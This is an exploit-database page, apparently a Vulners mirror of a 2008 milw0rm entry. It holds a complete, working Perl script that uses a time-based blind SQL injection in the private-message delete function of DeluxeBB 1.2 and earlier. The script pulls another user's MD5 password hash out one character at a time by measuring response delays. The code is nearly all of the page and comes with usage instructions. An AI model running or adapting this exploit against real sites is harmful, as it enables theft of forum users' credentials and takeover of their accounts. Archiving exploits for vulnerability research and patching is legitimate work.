Lucene search
K

DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit

🗓️ 28 Dec 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit by athos - staker[at]hotmail[dot]it. Usage: perl xpl.pl host/path prefix id password target id. Note: magic_quotes_gpc off. Greetz: str0ke,The:Paradox and #cance

Code

                                                #!/usr/bin/perl 
# --------------------------------------------------
# DeluxeBB &lt;= 1.2 Remote Blind SQL Injection Exploit
# --------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://deluxebb.com
# --------------------------------------------------
# Usage:
# perl xpl.pl host/path prefix id password target id
# perl xpl.pl localhost/deluxebb deluxebb 5 r00x 1
# --------------------------------------------------
# Note: magic_quotes_gpc off
#       don't add me on msn messenger
#       my email [email protected]
# --------------------------------------------------
# Greetz: str0ke,The:Paradox and #cancer
# --------------------------------------------------

use strict;
use Digest::MD5('md5_hex');
use LWP::UserAgent;

my ($hash,$http);
my ($host,$prefix,$user,$pass,$target) = @ARGV;

$http = new LWP::UserAgent(timeout =&gt; 5);

if (@ARGV != 5)
{
      print &quot;\n+----------------------------------------------------+\r&quot;,
            &quot;\n| DeluxeBB &lt;= 1.2 Remote Blind SQL Injection Exploit |\r&quot;,
            &quot;\n+----------------------------------------------------+\r&quot;,
            &quot;\nby athos - staker[at]hotmail[dot]it\n&quot;,
            &quot;\nUsage     + perl $0 [host/path] [prefix] [ID] [password] [target ID]&quot;,
            &quot;\nHost      + localhost/DeluxeBB&quot;,
            &quot;\nID        + your user ID&quot;,
            &quot;\nPassword  + your password&quot;,
            &quot;\nPrefix    + table prefix (default: deluxebb)&quot;,
            &quot;\nTarget ID + target id\n&quot;;
      exit;
}      

$http-&gt;default_header('Cookie' =&gt; cookies($user,$pass));

&amp;exploit;

sub getUsername
{
      my ($user_id,$response,@nickname) = $_[0];
 
      $response = $http-&gt;get(&quot;http://$host/misc.php?sub=profile&amp;uid=$user_id&quot;);
      @nickname = $response-&gt;as_string =~ m{&lt;span class=&quot;misctext&quot;&gt;(.+?)&lt;/span&gt;}ig;
      
      return $nickname[1];
}      



sub cookies
{
      my ($username);
      my ($user_id,$password) = @_;
      
      $username = getUsername($user_id);
      $password = md5_hex($password);
      
      return qq{membercookie=$username; memberid=$user_id; memberpw=$password;};
}      
      
      
sub getMsg
{
      my $response = $http-&gt;get(&quot;http://$host/pm.php?sub=folder&amp;name=inbox&quot;);
      
      if ($response-&gt;as_string =~ m/pid=(\d+)./i)
      {
            return $1;
      }
      else
      {
            my $content = {
                 to       =&gt; getUsername($user),
                 subject  =&gt; rand(999),
                 posticon =&gt; 'none',
                 rte1     =&gt; rand(999),
                 submit   =&gt; 'Send'

            };  
                            
                            
            my $request = $http-&gt;post(&quot;http://$host/pm.php?sub=newpm&quot;,$content);
            my $read_id = $http-&gt;get(&quot;http://$host/pm.php?sub=folder&amp;name=inbox&quot;);
            
            if ($read_id-&gt;content =~ /pid=(\d+)./i)
            {
                  return $1;
            }
      }      
}      
    

sub sql
{
      my ($i,$j,$sql) = (shift,shift,undef);
      
      $sql = &quot;%27+OR+(SELECT+IF((ASCII(SUBSTRING(pass,$i,1))=$j),&quot;.
             &quot;benchmark(200000000,CHAR(0)),0)+FROM+${prefix}_users&quot;.
             &quot;+WHERE uid=$target))%23&quot;;
             
      return $sql;        
}        
    

sub delay
{
      my ($tm1,$tm2) = (undef,undef);
      my ($msg,$sql) = @_;
      
      $tm1 = time();
      
      $http-&gt;get(&quot;http://$host/pm.php?sub=do&amp;submit=Delete&amp;delete$msg=$sql&quot;);

      $tm2 = time();
      
      return $tm2 - $tm1;
}
    
    
sub exploit
{
      my ($i,$ord) = (1,undef);
      my @chr = (48..57, 97..102); 
      
      for ($i..32)
      {
            foreach $ord(@chr)
            {
                  if (delay(&amp;getMsg,&amp;sql($i,$ord)) &gt;= 5)
                  {
                        syswrite(STDOUT,chr($ord)); $hash .= chr($ord);
                        last;
                        $i++;
                  }      
                  
                  if ($i == 2 and not defined $hash)
                  {
                        syswrite(STDOUT,&quot;Exploit Failed!\n&quot;);
                        exit;
                  }
            } 
      }                 
}    

# milw0rm.com [2008-12-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Dec 2008 00:00Current
7.1High risk
Vulners AI Score7.1
8